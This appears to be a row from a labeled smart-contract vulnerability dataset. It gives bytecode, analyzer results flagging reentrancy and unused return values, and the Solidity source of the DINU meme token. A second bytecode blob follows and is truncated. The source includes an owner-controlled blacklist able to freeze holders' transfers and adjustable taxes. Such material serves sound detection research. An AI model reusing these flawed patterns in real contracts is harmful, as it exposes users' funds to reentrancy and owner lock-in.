0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610292578063b515566a146102b2578063c3c8cd80146102d2578063c9567bf9146102e7578063dd62ed3e146102fc57600080fd5b806370a0823114610235578063715018a6146102555780638da5cb5b1461026a57806395d89b411461010e57600080fd5b8063273123b7116100d1578063273123b7146101c2578063313ce567146101e45780635932ead1146102005780636fc3eaec1461022057600080fd5b806306fdde031461010e578063095ea7b31461014957806318160ddd1461017957806323b872dd146101a257600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820182526003815262444d4760e81b6020820152905161014091906117ae565b60405180910390f35b34801561015557600080fd5b50610169610164366004611657565b610342565b6040519015158152602001610140565b34801561018557600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610140565b3480156101ae57600080fd5b506101696101bd366004611617565b610359565b3480156101ce57600080fd5b506101e26101dd3660046115a7565b6103c2565b005b3480156101f057600080fd5b5060405160098152602001610140565b34801561020c57600080fd5b506101e261021b366004611749565b610416565b34801561022c57600080fd5b506101e261045e565b34801561024157600080fd5b506101946102503660046115a7565b61048b565b34801561026157600080fd5b506101e26104ad565b34801561027657600080fd5b506000546040516001600160a01b039091168152602001610140565b34801561029e57600080fd5b506101696102ad366004611657565b610521565b3480156102be57600080fd5b506101e26102cd366004611682565b61052e565b3480156102de57600080fd5b506101e26105d2565b3480156102f357600080fd5b506101e2610608565b34801561030857600080fd5b506101946103173660046115df565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061034f3384846109d1565b5060015b92915050565b6000610366848484610af5565b6103b884336103b38560405180606001604052806028815260200161197f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e42565b6109d1565b5060019392505050565b6000546001600160a01b031633146103f55760405162461bcd60e51b81526004016103ec90611801565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104405760405162461bcd60e51b81526004016103ec90611801565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461047e57600080fd5b4761048881610e7c565b50565b6001600160a01b03811660009081526002602052604081205461035390610f01565b6000546001600160a01b031633146104d75760405162461bcd60e51b81526004016103ec90611801565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061034f338484610af5565b6000546001600160a01b031633146105585760405162461bcd60e51b81526004016103ec90611801565b60005b81518110156105ce5760016006600084848151811061058a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105c681611914565b91505061055b565b5050565b600c546001600160a01b0316336001600160a01b0316146105f257600080fd5b60006105fd3061048b565b905061048881610f85565b6000546001600160a01b031633146106325760405162461bcd60e51b81526004016103ec90611801565b600f54600160a01b900460ff161561068c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103ec565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106cc30826b033b2e3c9fd0803ce80000006109d1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561070557600080fd5b505afa158015610719573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073d91906115c3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561078557600080fd5b505afa158015610799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd91906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561080557600080fd5b505af1158015610819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083d91906115c3565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061086d8161048b565b6000806108826000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108e557600080fd5b505af11580156108f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091e9190611781565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561099957600080fd5b505af11580156109ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ce9190611765565b6001600160a01b038316610a335760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ec565b6001600160a01b038216610a945760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ec565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b595760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ec565b6001600160a01b038216610bbb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ec565b60008111610c1d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ec565b6002600a556003600b556000546001600160a01b03848116911614801590610c5357506000546001600160a01b03838116911614155b15610e32576001600160a01b03831660009081526006602052604090205460ff16158015610c9a57506001600160a01b03821660009081526006602052604090205460ff16155b610ca357600080fd5b600f546001600160a01b038481169116148015610cce5750600e546001600160a01b03838116911614155b8015610cf357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d085750600f54600160b81b900460ff165b15610d6557601054811115610d1c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d4057600080fd5b610d4b42601e6118a6565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d905750600e546001600160a01b03848116911614155b8015610db557506001600160a01b03831660009081526005602052604090205460ff16155b15610dc5576002600a556005600b555b6000610dd03061048b565b600f54909150600160a81b900460ff16158015610dfb5750600f546001600160a01b03858116911614155b8015610e105750600f54600160b01b900460ff165b15610e3057610e1e81610f85565b478015610e2e57610e2e47610e7c565b505b505b610e3d83838361112a565b505050565b60008184841115610e665760405162461bcd60e51b81526004016103ec91906117ae565b506000610e7384866118fd565b95945050505050565b600c546001600160a01b03166108fc610e96836002611135565b6040518115909202916000818181858888f19350505050158015610ebe573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ed9836002611135565b6040518115909202916000818181858888f193505050501580156105ce573d6000803e3d6000fd5b6000600854821115610f685760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ec565b6000610f72611177565b9050610f7e8382611135565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdb57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561102f57600080fd5b505afa158015611043573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106791906115c3565b8160018151811061108857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110ae91309116846109d1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110e7908590600090869030904290600401611836565b600060405180830381600087803b15801561110157600080fd5b505af1158015611115573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e3d83838361119a565b6000610f7e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611291565b60008060006111846112bf565b90925090506111938282611135565b9250505090565b6000806000806000806111ac87611307565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111de9087611364565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461120d90866113a6565b6001600160a01b03891660009081526002602052604090205561122f81611405565b611239848361144f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161127e91815260200190565b60405180910390a3505050505050505050565b600081836112b25760405162461bcd60e51b81526004016103ec91906117ae565b506000610e7384866118be565b60085460009081906b033b2e3c9fd0803ce80000006112de8282611135565b8210156112fe575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113248a600a54600b54611473565b9250925092506000611334611177565b905060008060006113478e8787876114c8565b919e509c509a509598509396509194505050505091939550919395565b6000610f7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e42565b6000806113b383856118a6565b905083811015610f7e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ec565b600061140f611177565b9050600061141d8383611518565b3060009081526002602052604090205490915061143a90826113a6565b30600090815260026020526040902055505050565b60085461145c9083611364565b60085560095461146c90826113a6565b6009555050565b600080808061148d60646114878989611518565b90611135565b905060006114a060646114878a89611518565b905060006114b8826114b28b86611364565b90611364565b9992985090965090945050505050565b60008080806114d78886611518565b905060006114e58887611518565b905060006114f38888611518565b90506000611505826114b28686611364565b939b939a50919850919650505050505050565b60008261152757506000610353565b600061153383856118de565b90508261154085836118be565b14610f7e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ec565b80356115a28161195b565b919050565b6000602082840312156115b8578081fd5b8135610f7e8161195b565b6000602082840312156115d4578081fd5b8151610f7e8161195b565b600080604083850312156115f1578081fd5b82356115fc8161195b565b9150602083013561160c8161195b565b809150509250929050565b60008060006060848603121561162b578081fd5b83356116368161195b565b925060208401356116468161195b565b929592945050506040919091013590565b60008060408385031215611669578182fd5b82356116748161195b565b946020939093013593505050565b60006020808385031215611694578182fd5b823567ffffffffffffffff808211156116ab578384fd5b818501915085601f8301126116be578384fd5b8135818111156116d0576116d0611945565b8060051b604051601f19603f830116810181811085821117156116f5576116f5611945565b604052828152858101935084860182860187018a1015611713578788fd5b8795505b8386101561173c5761172881611597565b855260019590950194938601938601611717565b5098975050505050505050565b60006020828403121561175a578081fd5b8135610f7e81611970565b600060208284031215611776578081fd5b8151610f7e81611970565b600080600060608486031215611795578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156117da578581018301518582016040015282016117be565b818111156117eb5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118855784516001600160a01b031683529383019391830191600101611860565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118b9576118b961192f565b500190565b6000826118d957634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156118f8576118f861192f565b500290565b60008282101561190f5761190f61192f565b500390565b60006000198214156119285761192861192f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048857600080fd5b801515811461048857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1674b4845b70d9ed091844ff733e613e372d64220163e131454915c557cbf3a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,807
0x088ec20e6b6b935d6b9aada09095236cc068759d
/** *Submitted for verification at Etherscan.io on 2022-04-10 */ // SPDX-License-Identifier: UNLICENSED /* Dumbledore Inu Dumbledore Inu is a meme token designed with a deflationary purpose with a effective burn function. The reason why Dumbledore Inu is designed with a burn function is simply because we want to pay tribute to his glorious and faithful pet - Fawkes. https://dumbledoreinu.com */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "DUMBLEDORE inu"; string private constant _symbol = "DINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xAcABAAD572D67B035dBFF22F1a7790ea8A5E9995); _buyTax = 10; _sellTax = 10; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 2000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 2000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 12) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 12) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034b578063c3c8cd801461036b578063c9567bf914610380578063dbe8272c14610395578063dc1052e2146103b5578063dd62ed3e146103d557600080fd5b8063715018a6146102ac5780638da5cb5b146102c157806395d89b41146102e95780639e78fb4f14610316578063a9059cbb1461032b57600080fd5b8063273123b7116100f2578063273123b71461021b578063313ce5671461023b57806346df33b7146102575780636fc3eaec1461027757806370a082311461028c57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b35780631bbae6e0146101d957806323b872dd146101fb57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d44554d424c45444f524520696e7560901b60208201525b60405161017a91906116bb565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611735565b61041b565b604051901515815260200161017a565b3480156101bf57600080fd5b5068056bc75e2d631000005b60405190815260200161017a565b3480156101e557600080fd5b506101f96101f4366004611761565b610432565b005b34801561020757600080fd5b506101a361021636600461177a565b61047e565b34801561022757600080fd5b506101f96102363660046117bb565b6104e7565b34801561024757600080fd5b506040516009815260200161017a565b34801561026357600080fd5b506101f96102723660046117e6565b610532565b34801561028357600080fd5b506101f961057a565b34801561029857600080fd5b506101cb6102a73660046117bb565b6105ae565b3480156102b857600080fd5b506101f96105d0565b3480156102cd57600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102f557600080fd5b5060408051808201909152600481526344494e5560e01b602082015261016d565b34801561032257600080fd5b506101f9610644565b34801561033757600080fd5b506101a3610346366004611735565b610856565b34801561035757600080fd5b506101f9610366366004611819565b610863565b34801561037757600080fd5b506101f96108f9565b34801561038c57600080fd5b506101f9610939565b3480156103a157600080fd5b506101f96103b0366004611761565b610ae3565b3480156103c157600080fd5b506101f96103d0366004611761565b610b1b565b3480156103e157600080fd5b506101cb6103f03660046118de565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610428338484610b53565b5060015b92915050565b6000546001600160a01b031633146104655760405162461bcd60e51b815260040161045c90611917565b60405180910390fd5b671bc16d674ec8000081111561047b5760108190555b50565b600061048b848484610c77565b6104dd84336104d885604051806060016040528060288152602001611add602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fac565b610b53565b5060019392505050565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161045c90611917565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161045c90611917565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161045c90611917565b4761047b81610fe6565b6001600160a01b03811660009081526002602052604081205461042c90611020565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161045c90611917565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161045c90611917565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610751919061194c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c2919061194c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610833919061194c565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610428338484610c77565b6000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161045c90611917565b60005b81518110156108f5576001600660008484815181106108b1576108b1611969565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ed81611995565b915050610890565b5050565b6000546001600160a01b031633146109235760405162461bcd60e51b815260040161045c90611917565b600061092e306105ae565b905061047b816110a4565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161045c90611917565b600e546109849030906001600160a01b031668056bc75e2d63100000610b53565b600e546001600160a01b031663f305d71947306109a0816105ae565b6000806109b56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4291906119b0565b5050600f8054671bc16d674ec8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047b91906119de565b6000546001600160a01b03163314610b0d5760405162461bcd60e51b815260040161045c90611917565b600c81101561047b57600b55565b6000546001600160a01b03163314610b455760405162461bcd60e51b815260040161045c90611917565b600c81101561047b57600c55565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045c565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045c565b6001600160a01b038216610d3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045c565b60008111610d9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045c565b6001600160a01b03831660009081526006602052604090205460ff1615610dc557600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0757506001600160a01b03821660009081526005602052604090205460ff16155b15610f9c576000600955600c54600a55600f546001600160a01b038481169116148015610e425750600e546001600160a01b03838116911614155b8015610e6757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7c5750600f54600160b81b900460ff165b15610ea9576000610e8c836105ae565b601054909150610e9c838361121e565b1115610ea757600080fd5b505b600f546001600160a01b038381169116148015610ed45750600e546001600160a01b03848116911614155b8015610ef957506001600160a01b03831660009081526005602052604090205460ff16155b15610f0a576000600955600b54600a555b6000610f15306105ae565b600f54909150600160a81b900460ff16158015610f405750600f546001600160a01b03858116911614155b8015610f555750600f54600160b01b900460ff165b15610f9a576000610f676004836119fb565b9050610f738183611a1d565b9150610f7e8161127d565b610f87826110a4565b478015610f9757610f9747610fe6565b50505b505b610fa78383836112b3565b505050565b60008184841115610fd05760405162461bcd60e51b815260040161045c91906116bb565b506000610fdd8486611a1d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f5573d6000803e3d6000fd5b60006007548211156110875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045c565b60006110916112be565b905061109d83826112e1565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110ec576110ec611969565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611145573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611169919061194c565b8160018151811061117c5761117c611969565b6001600160a01b039283166020918202929092010152600e546111a29130911684610b